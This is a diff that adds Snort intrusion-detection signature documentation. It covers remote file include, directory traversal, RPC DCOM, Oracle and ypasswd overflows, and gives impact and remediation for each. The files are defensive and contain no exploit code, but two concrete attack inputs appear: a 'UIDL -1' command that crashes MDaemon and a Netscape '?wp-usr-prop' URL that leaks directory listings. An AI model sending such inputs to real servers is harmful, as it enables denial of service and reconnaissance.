+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpMyDirectory
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1498.txt
+++ snort-2.8.5.2/doc/signatures/1498.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1498
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000506.txt
+++ snort-2.8.5.2/doc/signatures/100000506.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000506
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Nucleus CMS" application running on a webserver. 
+Access to the file "api_metaweblog.inc.php" using a remote file being passed as 
+the "DIR_LIB" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DIR_LIB" parameter in the "api_metaweblog.inc.php" 
+script used by the "Nucleus CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Nucleus CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/954.txt
+++ snort-2.8.5.2/doc/signatures/954.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+954
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3432.txt
+++ snort-2.8.5.2/doc/signatures/3432.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3432
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1437.txt
+++ snort-2.8.5.2/doc/signatures/1437.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+1437
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+This rule detects the following Windows Media file types:
+
+  File extension   MIME type
+     .wmz        application/x-ms-wmz
+     .wmd        application/x-ms-wmd
+     .wma        audio/x-ms-wma
+     .wax        audio/x-ms-wax
+     .wmv        audio/x-ms-wmv
+     .asf        video/x-ms-asf
+     .asx        video/x-ms-asf
+     .wvx        video/x-ms-wvx
+     .wm         video/x-ms-wm
+     .wmx        video/x-ms-wmx
+
+--
+Affected Systems:
+	All Windows systems running Windows Media player applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Windows Media file types:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;288102
+
+--
--- snort-2.8.5.2.orig/doc/signatures/325.txt
+++ snort-2.8.5.2/doc/signatures/325.txt
@@ -0,0 +1,65 @@
+Rule:   
+
+--
+Sid: 325
+
+-- 
+
+Summary: 
+This is an intelligence gathering activity.
+
+-- 
+
+Impact: 
+The attacker may obtain a list of accounts existing on the target host.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use a finger command against a host with a username of "0".  A finger query against a vulnerable finger daemon may allow the attacker to obtain a list of accounts on the target system with some details for each account where present (such as time and source of the last login). 
+
+Obtaining a list of accounts might precipitate further attacks such as password guessing, email attacks and other abuse.
+
+--
+
+Attack Scenarios: 
+An attacker learns that the "sys" account exists on the system. He then proceeds to guess the password and is then able to gain remote access to the system.
+
+-- 
+
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the service via firewall or TCP wrappers.
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS378
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10069%20(Finger%20zero%20at%20host
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3443.txt
+++ snort-2.8.5.2/doc/signatures/3443.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3443
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000144.txt
+++ snort-2.8.5.2/doc/signatures/100000144.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+100000144
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+directory traversal associated with Imail Web Calendaring
+servicel
+
+--
+Impact:
+A successful attack can permit a user to navigate outside
+of the web root directory and read files.
+
+--
+Detailed Information:
+The Imail Web Calendaring Server does not properly sanitize
+a malformed URL that contains directory traversal characters.
+This vulnerability is associated with static objects identified
+by names ending in .jsp, .jpg, .gif, .wav, .css, or .htm.  This
+can permit an unauthorized user to examine files that may contain
+sensitive information.
+
+--
+Affected Systems:
+Ipswitch IMail Server 8.2 and prior
+Ipswitch IMail Server 8.15 and prior
+
+--
+Attack Scenarios:
+An attacker send a URI containing a directory traversal to view
+sensitive files on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1146.txt
+++ snort-2.8.5.2/doc/signatures/1146.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1146
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000630.txt
+++ snort-2.8.5.2/doc/signatures/100000630.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000630
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "review_validate.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"review_validate.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2854.txt
+++ snort-2.8.5.2/doc/signatures/2854.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2854
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_snapshot_support
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2122.txt
+++ snort-2.8.5.2/doc/signatures/2122.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2122
+
+--
+Summary:
+This event is generated when a remote user uses a negative argument in the UIDL command sent to port 110 on an internal server.  This may indicate an attempt to exploit a boundary checking vulnerability in the POP UIDL command in the Alt-N MDaemon mail server.
+
+--
+Impact:
+The service will crash when it attempts to process the command. The attacker must have a valid POP account on the mail server to attempt this exploit.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a boundary checking vulnerability in the UIDL command on the Alt-N MDaemon POP server. If an authenticated user sends the UIDL command with a negative argument to the POP server, the MDaemon service will crash when it attempts to process the command. Note that this exploit can only be attempted by an authenticated user with a valid IMAP account on the server.
+
+--
+Affected Systems:
+Any operating system that runs the following IMAP servers:
+  -Alt-N MDaemon 6.0.0
+  -Alt-N MDaemon 6.0.5
+  -Alt-N MDaemon 6.0.6
+  -Alt-N MDaemon 6.0.7
+
+
+--
+Attack Scenarios:
+An authenticated user can send a UIDL -1 command to the POP server, which will cause the service to crash.
+
+--
+Ease of Attack:
+Simple. Exploits and proof of concept exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Alt-N MDaemon 6.5.0 or later.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7445
+http://www.securityfocus.com/bid/6053
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2027.txt
+++ snort-2.8.5.2/doc/signatures/2027.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2027
+
+--
+Summary:
+A user can change their password for Network Information Services (NIS) 
+using the ypasswd command. A vulnerability exists in ypasswd where
+an overly long username can cause a buffer overflow resulting in 
+unauthorized access to the remote machine.
+
+--
+Impact:
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The rpc.ypasswd service processes all password changes from 
+ypasswd. Supplying a specially crafted request to a NIS server 
+running this daemon in the form of a long username, the attacker can 
+cause a buffer overflow in that process.
+
+Since all master servers handling NIS resources run this daemon, the 
+resulting root access affects all NIS resources available on the LAN.
+
+An exploit for this vulnerability exists, hosts that have been 
+compromised using this vulnerability typically display two instances of 
+inetd running at the same time. The result of the exploit is a root 
+shell attached to port 77 of the host.
+
+--
+Affected Systems:
+	Caldera OpenServer 5.0.5
+	Caldera OpenServer 5.0.6
+	Solaris 2.6
+	Solaris 7
+	Solaris 8
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypasswd service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/m-008.shtml
+
+Security Focus Mailing List Archive:
+http://www.securityfocus.com/archive/1/187086
+
+CERT:
+http://www.kb.cert.org/vuls/id/327281
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1523.txt
+++ snort-2.8.5.2/doc/signatures/1523.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1523
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3364.txt
+++ snort-2.8.5.2/doc/signatures/3364.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3364
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1198.txt
+++ snort-2.8.5.2/doc/signatures/1198.txt
@@ -0,0 +1,77 @@
+Rule:  
+
+--
+Sid:
+1198
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in some versions of Netscape Enterprise Server.
+ 
+--
+Impact:
+Information leak which could provide an attacker with the data needed to
+launch further attacks or gain more detailed information about your web
+server. Also, the html-rend command can be used to launch denial of
+service attacks. 
+
+--
+Detailed Information:
+A user can see a directory listing by appending a Web Publishing command
+to the end of a directory URL, for example: "http://www.sun.com/?wp-usr-prop".
+
+This exploit will work on Netscape Enterprise Server regardless of
+directory indexing settings.  
+
+It will not work on iPlanet Web Server if directory indexing is set to
+"none" or "fancy" (the default).  Web Publishing need not be enabled for
+this exploit to work.
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.0, 3.51 and 3.6
+
+-- 
+Attack Scenarios:
+The gathering of information such as directory listings is valuable when
+planning to attack a web server. 
+
+--
+Ease of Attack:
+Simple. No exploit software required however, an automated tool for
+scanning exists as does an exploit script.
+
+--
+False Positives:
+A web server that uses URLs which contain web publishing commands.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable directory indexing. For earlier versions of Netscape Enterprise
+Server, this may not fix the problem. On iPlanet, you can also change
+the indexing type to "fancy".
+
+To fix the potential DOS vulnerability, upgrade to at least iWS 4.1 SP8.
+
+--
+Contributors:
+Snort documentation contributed by Kevin Peuhkurinen
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+iPlanet Knowledge Base Article 4302:
+http://knowledgebase.iplanet.com/ikb/kb/articles/4302.html 
+
+iPlanet Knowledge Base Article 7761:
+http://knowledgebase.iplanet.com/ikb/kb/articles/7761.html 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3109.txt
+++ snort-2.8.5.2/doc/signatures/3109.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3109
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2788.txt
+++ snort-2.8.5.2/doc/signatures/2788.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2788
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure make_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1745.txt
+++ snort-2.8.5.2/doc/signatures/1745.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1745
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1885.txt
+++ snort-2.8.5.2/doc/signatures/1885.txt
@@ -0,0 +1,72 @@
+Rule:
+
+
+--
+Sid: 
+
+1885
